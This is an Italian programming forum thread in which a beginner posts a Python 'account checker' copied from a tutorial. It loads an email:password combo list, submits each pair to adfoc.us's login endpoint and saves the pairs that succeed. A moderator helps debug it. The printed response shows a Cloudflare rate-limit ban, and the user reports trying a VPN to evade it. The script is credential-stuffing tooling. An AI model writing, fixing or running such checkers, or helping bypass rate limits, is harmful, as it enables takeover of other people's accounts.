PROBLEMA Phyton Account Checker

Matty Tuber

Nuovo Utente
66
1
Buongiorno a tutti,
sono un neofita di questo linguaggio, per mio interesse ho da poco iniziato a conoscerlo. Ho iniziato facendo i soliti esercizi con piccoli calcoli if, else, while ecc.

Seguendo qualche tutorial ho provato a creare un checker di account, come mostrava il tutorial ho provato con adfoc.us ed il risultato è stato questo codice qui:

Python:
import requests



def failed(email, password):

    print(f"Failed: {email}:{password}")



def passed(email, password):

    print(f"Success: {email}:{password}")

    print(f"{email}:{password}", file=open("Test.txt", "w"))



def checker(data):

    email = data[0]

    password = data[1]

    success_keyword = """<strong>Today's Earnings:</strong>"""

    api_sender = requests.session()

    source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text

    if success_keyword in source:

        passed(email, password)

    else:

        failed(email, password)



nome_combo = input("Inserire il nome del file: ")

combo = open(nome_combo, "r").readlines()

arrange = [lines.replace("/n", "")for lines in combo]

for lines in arrange:

    data = lines.split(":")

    checker(data)

Il problema è che qulsiasi account io gli faccia verificare lui lo rileva come non valido...sapreste spiegarmi il motivo ed eventualmente il modo per sistemarlo.

Grazie
 

Moffetta88

Moderatore
Staff Forum
Utente Èlite
20,544
12,932
CPU
i5-4690
Dissipatore
DEEPCOOL CAPTAIN 240EX
Scheda Madre
MSI Z97 U3 PLUS
HDD
KINGSTON SSD KC400 240GB
RAM
24GB BALLISTIX SPORT @2133MHz
GPU
STRIX GTX980 DC2OC
Audio
INTEGRATA
Monitor
AOC G2590VXQ
PSU
BEQUIET! System Power 7 500W
Case
DEEPCOOL MATREXX 55
Periferiche
NESSUNA
Net
EOLO 100
OS
UBUNTU/WINDOWS11
A me quel sito restituisce
Codice:
DNS_PROBE_FINISHED_NXDOMAIN
 

Matty Tuber

Nuovo Utente
66
1
A me quel sito restituisce
Codice:
DNS_PROBE_FINISHED_NXDOMAIN
A dir la verità non è un sito ma un programma che controlla da una lista di account quelli funzionanti.

Durante l'esecuzione non mi dà errori, viene eseguito correttamente ma, considera tutti gli account come non funzionanti.
 

Moffetta88

Moderatore
Staff Forum
Utente Èlite
20,544
12,932
CPU
i5-4690
Dissipatore
DEEPCOOL CAPTAIN 240EX
Scheda Madre
MSI Z97 U3 PLUS
HDD
KINGSTON SSD KC400 240GB
RAM
24GB BALLISTIX SPORT @2133MHz
GPU
STRIX GTX980 DC2OC
Audio
INTEGRATA
Monitor
AOC G2590VXQ
PSU
BEQUIET! System Power 7 500W
Case
DEEPCOOL MATREXX 55
Periferiche
NESSUNA
Net
EOLO 100
OS
UBUNTU/WINDOWS11
sì sì però volevo vedere le specifiche del servizio.
Stampa questa riga e posta il risultato, così controlliamo se i dati che mandi son corretti
Python:
source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text
 

Matty Tuber

Nuovo Utente
66
1
sì sì però volevo vedere le specifiche del servizio.
Stampa questa riga e posta il risultato, così controlliamo se i dati che mandi son corretti
Python:
source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text

Ho provato ed il risultato è questo:
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Access denied | adfoc.us used Cloudflare to restrict access</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />
<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />
<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->
<style type="text/css">body{margin:0;padding:0}</style>


<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/zepto.min.js"></script><!--<![endif]-->
<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/cf.common.js"></script><!--<![endif]-->



</head>
<body>
<div id="cf-wrapper">
<div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div>
<div id="cf-error-details" class="cf-error-details-wrapper">
<div class="cf-wrapper cf-header cf-error-overview">
<h1>
<span class="cf-error-type" data-translate="error">Error</span>
<span class="cf-error-code">1015</span>
<small class="heading-ray-id">Ray ID: 4e62fbb87e373e9c &bull; 2019-06-13 09:19:30 UTC</small>
</h1>
<h2 class="cf-subheadline">You are being rate limited</h2>
</div><!-- /.header -->

<section></section><!-- spacer -->

<div class="cf-section cf-wrapper">
<div class="cf-columns two">
<div class="cf-column">
<h2 data-translate="what_happened">What happened?</h2>
<p>The owner of this website (adfoc.us) has banned you temporarily from accessing this website.</p>
</div>


</div>
</div><!-- /.section -->

<div class="cf-error-footer cf-wrapper">
<p>
<span class="cf-footer-item">Cloudflare Ray ID: <strong>4e62fbb87e373e9c</strong></span>
<span class="cf-footer-separator">&bull;</span>
<span class="cf-footer-item"><span>Your IP</span>: 5.102.5.109</span>
<span class="cf-footer-separator">&bull;</span>
<span class="cf-footer-item"><span>Performance &amp; security by</span> <a href="https://www.cloudflare.com/5xx-error-landing?utm_source=error_footer" id="brand_link" target="_blank">Cloudflare</a></span>

</p>
</div><!-- /.error-footer -->


</div><!-- /#cf-error-details -->
</div><!-- /#cf-wrapper -->

<script type="text/javascript">
window._cf_translation = {};


</script>

</body>
</html>
 

Moffetta88

Moderatore
Staff Forum
Utente Èlite
20,544
12,932
CPU
i5-4690
Dissipatore
DEEPCOOL CAPTAIN 240EX
Scheda Madre
MSI Z97 U3 PLUS
HDD
KINGSTON SSD KC400 240GB
RAM
24GB BALLISTIX SPORT @2133MHz
GPU
STRIX GTX980 DC2OC
Audio
INTEGRATA
Monitor
AOC G2590VXQ
PSU
BEQUIET! System Power 7 500W
Case
DEEPCOOL MATREXX 55
Periferiche
NESSUNA
Net
EOLO 100
OS
UBUNTU/WINDOWS11
Ce l'hai la risposta
The owner of this website (adfoc.us) has banned you temporarily from accessing this website.
 

Matty Tuber

Nuovo Utente
66
1
Ce l'hai la risposta
The owner of this website (adfoc.us) has banned you temporarily from accessing this website.
Ho notato pure io perciò ho provato con una VPN in modo da accedere con un altro ip ma gli account risultavano comunque non validi...quando ho inviato il messaggio di errore di prima ho provato anche a mandare la stampa di source con la vpn attiva ma non so il motivo ma risultavo lo stesso bannato
 

Moffetta88

Moderatore
Staff Forum
Utente Èlite
20,544
12,932
CPU
i5-4690
Dissipatore
DEEPCOOL CAPTAIN 240EX
Scheda Madre
MSI Z97 U3 PLUS
HDD
KINGSTON SSD KC400 240GB
RAM
24GB BALLISTIX SPORT @2133MHz
GPU
STRIX GTX980 DC2OC
Audio
INTEGRATA
Monitor
AOC G2590VXQ
PSU
BEQUIET! System Power 7 500W
Case
DEEPCOOL MATREXX 55
Periferiche
NESSUNA
Net
EOLO 100
OS
UBUNTU/WINDOWS11

Entra

oppure Accedi utilizzando
Discord Ufficiale Entra ora!